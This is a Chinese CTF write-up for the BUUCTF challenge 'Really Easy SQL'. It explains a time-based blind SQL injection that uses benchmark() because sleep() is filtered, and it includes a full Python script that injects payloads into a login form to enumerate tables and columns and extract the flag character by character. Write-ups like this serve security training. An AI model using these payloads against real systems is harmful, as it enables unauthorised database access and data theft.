【BUU】[Dest0g3 520迎新赛]Really Easy SQL

2024/8/14

[Dest0g3 520迎新赛]Really Easy SQL

题目标题说明是SQL注入

题目首页

页面title显示是钓鱼站点。

钓鱼站点主要为将我们的输入信息保存在数据库。后台应该是插入语句。

这里无论输入什么都显示密码错误, 只能尝试盲注,基于时间的盲注,

这里经过测试payload如下,

然后写脚本内容如下

python 复制代码
import requests
import time
from urllib.parse import urlencode

url="http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/"
flag=''
for i in range(1,44):
    for j in range(40,137):
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.2)
        except:
           flag += chr(j)
           print(flag)
           break
        
        time.sleep(0.2)
    time.sleep(1)

跑到flag。这道题目挺花时间的,主要在于sleep()函数被过滤了.如果在测试的过程中没有意识到这个问题,那么就会花费大量的时间。

成功解答

相关推荐
Amd794几秒前
深入探讨存储过程的创建与应用:提高数据库管理效率的关键工具
sql·性能优化·数据安全·存储过程·数据库管理·业务逻辑·创建存储过程
猿小喵21 分钟前
MySQL四种隔离级别
数据库·mysql
Y编程小白27 分钟前
Redis可视化工具--RedisDesktopManager的安装
数据库·redis·缓存
洪小帅1 小时前
Django 的 `Meta` 类和外键的使用
数据库·python·django·sqlite
祁思妙想1 小时前
【LeetCode】--- MySQL刷题集合
数据库·mysql
V+zmm101342 小时前
教育培训微信小程序ssm+论文源码调试讲解
java·数据库·微信小程序·小程序·毕业设计
m0_748248022 小时前
【MySQL】C# 连接MySQL
数据库·mysql·c#
MrZhangBaby3 小时前
SQL-leetcode—1158. 市场分析 I
java·sql·leetcode
小高不明5 小时前
仿 RabbitMQ 的消息队列2(实战项目)
java·数据库·spring boot·spring·rabbitmq·mvc
DZSpace5 小时前
使用 Helm 安装 Redis 集群
数据库·redis·缓存